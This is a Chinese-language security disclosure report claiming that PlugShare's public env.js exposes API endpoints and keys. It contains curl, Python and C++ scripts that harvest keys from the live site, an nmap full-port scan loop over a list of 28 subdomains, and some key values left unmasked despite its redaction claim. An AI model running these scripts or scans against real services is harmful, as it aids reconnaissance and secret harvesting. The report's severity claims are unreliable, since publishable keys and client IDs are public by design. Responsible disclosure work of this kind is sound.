PlugShare API 关键数据泄露安全评估报告
安全研究声明
作为一名怀着赤诚之心的安全研究员,我谨在此郑重声明:本次安全审计的唯一目的是帮助改进系统安全性,为保护用户数据安全尽一份力。报告中所有敏感信息均已进行脱敏处理,以防被不法分子利用。我始终秉持"善意披露、负责任报告"的原则,希望通过专业的漏洞发现和及时报告,协助开发团队尽快修复安全隐患。在此过程中,我严格遵守相关法律法规,绝无任何破坏或恶意利用的企图。
衷心期待通过白帽黑客与开发团队的良性互动,共同为企业的信息安全加固,为广大用户筑起更坚实的数据保护屏障。
漏洞概述
参数名 | 值(部分隐藏) | 风险分析 | ||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|
pwpsApiUrl | https://api.plugshare.com/pwps/v1 | 额外的API端点,可能包含支付或用户数据 | ||||||||||
awsDomain | auth.plugshare.com | AWS Cognito身份验证服务,可能被滥用进行账户接管攻击 | ||||||||||
stripeKey | pk_live_{敏感信息已脱敏} | 公开的Stripe付款密钥,可能被滥用进行支付欺诈 | ||||||||||
amplitudeApiKey | c23f60036374ff9db6c5db04655749de | Amplitude分析工具API密钥,可能导致用户行为数据泄露 | ||||||||||
详细安全分析
结论PlugShare 公开暴露了多个 API 端点及敏感密钥,可能导致 数据泄露、账户接管、支付欺诈等严重安全风险。 建议立即采取 安全加固措施, 移除 env.js 文件中的敏感信息,并在后端实现 身份验证、速率限制、支付密钥管理 等安全机制,以降低攻击风险。 |
||||||||||||
awsUserPoolWebClientId | 2u0{敏感信息已脱敏} | AWS Cognito客户端ID,可用于身份认证请求伪造 | ||||||||||
awsUserPoolId | us-east-1_oweQ7XmGf | AWS Cognito用户池ID,可能被用于枚举用户信息 | ||||||||||
oauthRedirectUri | https://www.plugshare.com/oauth | OAuth重定向URI,可能存在开放重定向漏洞风险 |
风险分析
API滥用风险
公开的API端点可能被未授权用户访问,导致数据泄露服务和滥用。
支付安全风险
暴露的Stripe密钥可能被用于创建恶意支付请求,造成经济损失。
身份认证风险
AWS Cognito配置泄露可能导致身份认证绕过,威胁用户账户安全。
数据隐私风险
分析工具配置泄露可能导致用户行为数据被收集,侵犯用户隐私。
提交截图证明

复现步骤
攻击者可以使用简单的 curl 命令获取该 env.js 文件,并解析其中的敏感数据。以下是详细的复现方法:
CURL 命令获取
curl 'https://www.plugshare.com/env.js' \
-H 'sec-ch-ua-platform: "macOS"' \
-H 'Referer: https://www.plugshare.com/' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36' \
-H 'sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"' \
-H 'DNT: 1' \
-H 'sec-ch-ua-mobile: ?0'
Python 自动化脚本
如果需要批量扫描和提取密钥,可使用以下 Python 脚本:
import requests
import re
url = "https://www.plugshare.com/env.js"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Referer": "https://www.plugshare.com/"
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
js_content = response.text
keys = re.findall(r"'(pk_live_[a-zA-Z0-9]+)'", js_content) # 识别 Stripe 生产密钥
aws_client_id = re.findall(r"'([a-zA-Z0-9_-]{20,})'", js_content) # 识别 Cognito 客户端 ID
print("发现的密钥信息:")
print("\n".join(keys))
print("AWS Cognito Client ID:", aws_client_id)
else:
print("无法访问目标资源,可能已被修复。")
C++ 实现
使用 libcurl 库进行 HTTP 请求并提取密钥:
#include <iostream>
#include <curl/curl.h>
#include <regex>
size_t write_callback(void* contents, size_t size, size_t nmemb, std::string* output) {
output->append((char*)contents, size * nmemb);
return size * nmemb;
}
int main() {
CURL* curl;
CURLcode res;
std::string response_data;
curl = curl_easy_init();
if (curl) {
curl_easy_setopt(curl, CURLOPT_URL, "https://www.plugshare.com/env.js");
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response_data);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
if (res == CURLE_OK) {
std::regex key_regex("'(pk_live_[a-zA-Z0-9]+)'");
std::smatch match;
if (std::regex_search(response_data, match, key_regex)) {
std::cout << "发现 Stripe API Key: " << match.str(1) << std::endl;
}
} else {
std::cout << "请求失败!" << std::endl;
}
}
return 0;
}
影响范围
PlugShare用户
可能导致账户接管、支付欺诈等风险
PlugShare业务
支付API泄露可能导致经济损失,身份认证漏洞可能影响数据完整性
AWS资源
攻击者可能利用AWS Cognito进行未授权访问,影响云服务安全
子域名扫描
端口扫描命令
NMAP Scanfor sub in $(cat subdomains.txt); do nmap -p- --min-rate=1000 -T4 -Pn $sub; done
发现的子域名
共 28 个子域名www.plugshare.com
api.plugshare.com
auth.plugshare.com
developer.plugshare.com
staging.plugshare.com
help.plugshare.com
faq.plugshare.com
ezchargesupport.plugshare.com
email.plugshare.com
o2.email.plugshare.com
o5256.e.mail.plugshare.com
reporting.plugshare.com
status.plugshare.com
company.plugshare.com
tesla.plugshare.com
vw.plugshare.com
store.plugshare.com
photos.plugshare.com
assets.plugshare.com
newsroom.plugshare.com
launch.plugshare.com
roadtrip.plugshare.com
survey3.plugshare.com
survey6.plugshare.com
pay.plugshare.com
ezcharge.plugshare.com
i.clicks.plugshare.com
link.plugshare.com
联系方式
安全研究员信息
姓名: 钟智强
职位: 高级安全研究员 | 高级全栈开发工程师 | 计算机视觉专家
电子邮件: johnmelodymel@qq.com
微信: ctkqiang
响应时间承诺
- 紧急漏洞问题:24小时内响应
- 一般技术咨询:48小时内回复
首选沟通渠道
1. 电子邮件(安全加密通信)
2. 微信语音/视频会议